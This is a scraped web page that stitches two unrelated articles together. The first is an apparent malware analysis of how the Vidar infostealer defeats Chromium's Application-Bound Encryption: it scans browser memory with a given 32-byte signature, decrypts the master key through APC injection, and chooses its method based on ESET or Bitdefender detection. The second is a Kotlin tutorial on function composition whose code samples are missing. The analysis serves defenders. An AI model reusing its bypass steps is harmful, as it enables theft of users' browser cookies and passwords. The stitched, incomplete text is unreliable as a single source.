If no target browser process is found running, Vidar creates a new isolated desktop via <code>CreateDesktopA</code>, assigns it a name of the form <code>v20_%d</code> (where <code>%d</code> is replaced with the browser’s index in Vidar’s configuration), and launches the target browser in there. In the case of Vidar version 2.1, the browser is launched with the command line <code>--no-first-run --disable-gpu about:blank</code>, although the exact command line varies across versions. Since modern browsers use a multi-process architecture, there are typically multiple processes matching a given browser. Vidar enumerates all of them (up to 64) and applies the fork-and-scan procedure to each one independently.&nbsp;

With a handle to the forked process in hand, Vidar proceeds to enumerate its virtual memory regions using <code>NtQueryVirtualMemory</code>. It iterates through the entire browser’s address space, collecting regions that match a specific profile: committed (<code>MEM_COMMIT</code>), private (<code>MEM_PRIVATE</code>), and either readable (<code>PAGE_READONLY</code>) or read-write (<code>PAGE_READWRITE</code>). Vidar records up to 4096 memory regions matching these requirements, along with their base addresses and sizes. The actual pattern scanning is then performed in parallel with up to 64 worker threads, depending on the system.&nbsp;&nbsp;

Each thread scans its assigned regions using <code>NtReadVirtualMemory</code>, searching for a 32-byte pattern. When a match is found, the thread reads 8 bytes at offset +32 from the match, interprets them as a pointer, and validates that it points to committed, private, and readable memory (the expected memory state for the encrypted <code>v20_master_key</code>).&nbsp;&nbsp;

This naturally raises the question of what pattern Vidar searches for. The answer is a 32-byte signature: <code>76 32 30 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 00 00 00 00 01 ?? ?? ??</code>, where <code>??</code> denotes a wildcard (Vidar uses the byte <code>AA</code> as the wildcard marker in its internal representation). Notably, the first four bytes correspond to the ASCII <code>v20\x00</code>, which is a common prefix used for ABE-related data.&nbsp;&nbsp;

We assess with high confidence that this pattern is intended to match a node structure within Chromium’s <code>Encryptor::KeyRing</code>, the structure that holds the keys used by the <code>Encryptor</code> class. Now, this part is admittedly a bit tricky as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types <code>(std::map</code>, <code>std::string</code>, <code>std::vector</code>, <code>std::optional</code>), which is why we frame this as a high-confidence rather than a certainty.&nbsp;&nbsp;Our reasoning is as follows: <code>KeyRing</code> is <a href="https://github.com/chromium/chromium/blob/cf5d502bcaedb22927e3829a18be1ff6d8b6f598/components/os_crypt/async/common/encryptor.h#L132" target="_blank" rel="noreferrer noopener">defined</a> as <code>std::map&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, and <code>std::map</code> is typically implemented as a red-black tree, where each tree node stores three pointers (left child, parent, and right child) followed by the key-value pair. In this case, the pair is in the form of <code>std::pair&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, meaning that the <code>std::string</code> and the <code>Key</code> object might be laid out consecutively in memory within each node. For a <code>v20_master_key</code> entry, the tag corresponds to the string <code>v20</code>, which at 4 bytes including the null terminator fits within the small string optimization (SSO) buffer and is therefore stored inline rather than heap-allocated. The <code>Key</code> class that immediately follows <a href="https://github.com/chromium/chromium/blob/cf5d502bcaedb22927e3829a18be1ff6d8b6f598/components/os_crypt/async/common/encryptor.h#L93-L98" target="_blank" rel="noreferrer noopener">contains three member variables</a>: <code>std::optional&lt;mojom::Algorithm&gt; algorithm_</code>, <code>std::vector&lt;uint8_t&gt; key_</code>, and <code>bool encrypted_ = false</code>.&nbsp;Putting it all together and applying it to a concrete example from a browser memory dump, we get the following layout:&nbsp;

Please note that while the exact layout may contain minor inaccuracies on our part, the overall structure should be roughly correct. For easier orientation, the following diagram illustrates how the individual structures are nested within each other:&nbsp;

At this point, it should be clear how the scan pattern maps onto the searched structure. The 32-byte match covers the <code>std::string</code> tag <code>v20\x00</code> and the beginning of the <code>Key</code> object up to and including <code>algorithm_</code>. The pointer at offset +32 from the start of the match then lands precisely on <code>key_.begin</code>, the first member of <code>std::vector&lt;uint8_t&gt;</code> that holds the encrypted <code>v20_master_key</code>.&nbsp;Matches from all threads are collected into a shared buffer and subjected to a majority-voting scheme: candidates consisting mostly of zeroes are discarded, the rest are pairwise-compared, and each is scored by the number of identical copies found. This voting is performed independently for each browser process, producing one best candidate per process.&nbsp;<h2>Decrypting the v20_master_key via APC Injections&nbsp;</h2>For each browser process that produced a match, Vidar now holds a candidate address pointing to a potential encrypted <code>v20_master_key</code>. However, as already noted, since the key is protected with <code>CryptProtectMemory</code> using <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code>, it can only be decrypted by invoking <code>CryptUnprotectMemory</code> from within the browser process itself. Vidar solves this by injecting an Asynchronous Procedure Call (APC) into the live browser process.&nbsp;Vidar supports two APC injection methods, selected based on whether ESET or Bitdefender is detected on the system. If either of these products is present, Vidar uses the first method, which it refers to as “classic” (based on decrypted strings) – it creates a suspended thread in the target browser via <code>CreateRemoteThread</code> (with <code>NtTestAlert</code> as the thread start address and the <code>CREATE_SUSPENDED</code> flag), queues an APC using <code>NtQueueApcThread</code>, resumes the thread, and then waits for it to complete via <code>WaitForSingleObject</code> with a randomized timeout. When the thread resumes, it calls <code>NtTestAlert</code>, which flushes the APC queue and executes the injected routine.&nbsp;

If neither product is detected, it uses the “special” method – it finds an existing thread in the target browser using a combination of <code>CreateToolhelp32Snapshot</code> and <code>Thread32First/Thread32Next</code>, opens it via <code>NtOpenThread</code>, and calls <code>NtQueueApcThreadEx2</code> with the <code>QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC</code> flag. Unlike regular APCs, special user APCs execute immediately. Therefore, the target thread does not need to be in an alertable wait state.&nbsp;

In both cases, the APC routine to be executed is <code>CryptUnprotectMemory</code>, called with the following three arguments: the address of the encrypted <code>v20_master_key</code> candidate, its size (32 bytes), and <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> for the <code>flags</code> parameter.&nbsp;&nbsp;Since <code>CryptUnprotectMemory</code> decrypts the data in place, once the APC executes, the key is decrypted directly in the live browser's memory. To read it, Vidar creates a second fork of the browser process and reads the key from the same address using <code>NtReadVirtualMemory</code>. It then compares the result against a snapshot of the encrypted key taken from the first fork before the APC call – if the data is unchanged, decryption failed, and Vidar moves on to the next browser process’s candidate.&nbsp;If the data differs, Vidar uses the same second fork to perform an additional verification: it scans the forked process’s memory for the byte sequence <code>v20</code> and, treating each match as a potentially ABE-encrypted entry (cookie, password), attempts AES-256-GCM decryption with the key candidate using <code>BCryptDecrypt</code> (successful GCM tag verification confirms that the key is correct).&nbsp;Whenever the data has changed (indicating that decryption of the key took place), Vidar re-encrypts the key in the browser’s memory by injecting another APC with <code>CryptProtectMemory</code> as the routine, preserving the browser’s state. If no candidate produced a successful decryption (i.e., the data remained unchanged after every APC call), Vidar takes a more aggressive approach: it terminates all browser instances, restarts the browser, and repeats the entire scan-decrypt-verify cycle.&nbsp;By abusing APC injections instead of the more traditional approach of injecting code via <code>NtWriteVirtualMemory</code> that performs the decryption, Vidar trades one suspicious behavior for another. APC injections are arguably less common and may thus slip past some detection systems, though they are still well-known techniques monitored by AV and EDR solutions. But that is the nature of ABE bypasses – each has its own advantages and disadvantages, and that’s exactly why infostealers keep inventing new ones. &nbsp;<h2>Indicator of Compromise (IoC)&nbsp;</h2>459daa809751e73f60fbbe4384a7d1653c36bb06945e4eb3635270924241100a (Vidar 2.1)&nbsp;

A Technical Walkthrough of How Vidar Defeats Application-Bound Encryption

Inside Vidar’s ABE Bypass: From Memory Scanning to APC Injections

As an Android developer in Kotlin, I often see devs asking why they should use lambdas and what is the benefit of using them. So let me share the concept of functional composition and its benefits with you. However before we start with the code, let’s gain some theoretical background. Functional composition, or so called function composition, is a mathematical concept.In mathematics, function composition is an operation that takes two functions <code>f</code> and <code>g</code> and produces a function <code>h</code> such that <code>h(x) = g(f(x))</code>. In this operation, the function <code>g</code> is applied to the result of applying the function <code>f</code> to <code>x</code>.From Wikipedia: <a href="https://en.wikipedia.org/wiki/Function_composition">https://en.wikipedia.org/wiki/Function_composition</a>Why this is so important you will see later. For now the important part is that we have methods that depend on other methods results.<h3>Example</h3>If you are Android developer, you might have seen this:

This is a very basic implementation of <code>clickListener</code> in <code>RecyclerView</code>. There are a number of issues within this code:<ol><li>&nbsp;<code>Holder</code> invokes <code>listener</code> and obtains <code>Model</code> from <code>data</code> field of <code>Adapter</code> – breaks <a href="https://en.wikipedia.org/wiki/Single-responsibility_principle">Single Responsibility </a>and <a href="https://en.wikipedia.org/wiki/Separation_of_concerns">Separation of Concerns</a> principles,</li><li><code>Adapter</code> cannot rely on <code>data</code> field consistency, because it’s modifiable by <code>Holder</code> – breaks <a href="https://en.wikipedia.org/wiki/Encapsulation_(computer_programming)">Encapsulation</a> of <code>Adapter</code>,</li><li><code>Holder</code> relies on use of specific <code>Adapter</code> – <a href="https://en.wikipedia.org/wiki/Coupling_(computer_programming)">Tight coupling</a> thus no Reusability is possible.</li></ol>In the case of <code>RecyclerView</code>‘s <code>Adapter</code>, this is often tolerated. But from my experience, once you learn something bad on a small scale, you will tend to use it on a large scale as well. Note: Unfortunately, even the presence of lambda doesn’t make this a functional code! It just anonymizes the instance of the listener, which gives a bit more flexibility and independence, but nothing functional.<h3>Functional composition to the rescue!</h3>Let’s adjust the code with the functional composition:

According to definition <code>h(x) = g(f(x))</code> we can rename our functions to <code>clickComposite(position) = clickListener(dataProvider(position))</code>. The composition consists of calling <code>clickListener</code> with the result of <code>dataProvider</code> applied on the provided <code>position</code>.As a result, we’ve mitigated all the mentioned issues:<ol><li><code>Holder</code> is responsible only for propagating position, <code>Adapter</code> for provide data on that position – Single Responsibility is satisfied,</li><li>the Separation of Concerns is achieved by moving position to Model mapping out of <code>Holder</code>,</li><li>by removing the <code>inner</code> keyword we’ve achieved Encapsulation of <code>Adapter</code>‘s <code>data</code> field and also decoupling both classes, allowing reusability of <code>Holder</code>.</li></ol>Note: Don’t be fooled with lambdas. This code uses functional principles, but it’s still fully convertible to interfaces. You don’t need lambdas for this. It will be just much uglier.<h3>Higher-order function</h3>If you are an attentive reader you might have noticed, I’ve mixed two terms. Functional composition and function composition.By the definition <code>h(x) = g(f(x))</code> we have made a reactive code that was able to call function <code>g</code> with the result of calling <code>f(x)</code>. But we didn’t have the real <code>h(x)</code> that can do composition, we had only lambda with that concrete composition, which is still error prone, boilerplate.To address this, we can advance the previous solution to use a <a href="https://en.wikipedia.org/wiki/Higher-order_function">Higher-order function</a>. For that purpose, we need some compose operator. So let’s just rewrite the mathematical definition into Kotlin:

As a result, we have the same benefits from the previous solution, but less boilerplate code. We are able to write Unit tests for the <code>compose</code> function and ensure this code is working correctly. And the readability is also improved (unless you hate math :)).<h3>Conclusion</h3>Comparing the last two examples you might have noticed that the first example defines how the object (<code>Holder</code>) will treat the data, while the following two defines what is object’s (<code>Holder</code>) behaviour – what is his FUNCTION. This is the tiny difference that makes functional programming important. You should also understand the difference between Functional Composition and Function Composition, how they are achieved, and what they can give you. Which one should you choose? Well, it’s up to you. In the end, it’s only about what suits you (and your team) the best.PS: During the publishing process of this article, we found some blur in the understanding of what lambda and functional is. I would like to dispel some myths. Lambda != functional. Functional code does not require you to use lambdas. You can write functional code with interfaces. You can also write non functional code with lambdas (that was the first example). Lambdas describe behaviour, while interfaces define also the identity. You can understand lambdas as method polymorphism – they are matching based on function declaration. They are not meant to be used for modeling complexity, but rather to simplify complexity of a simple thing that you would normally achieve by polymorphism.

Stanislav Nedbálek

Posts by Stanislav Nedbálek

Functional composition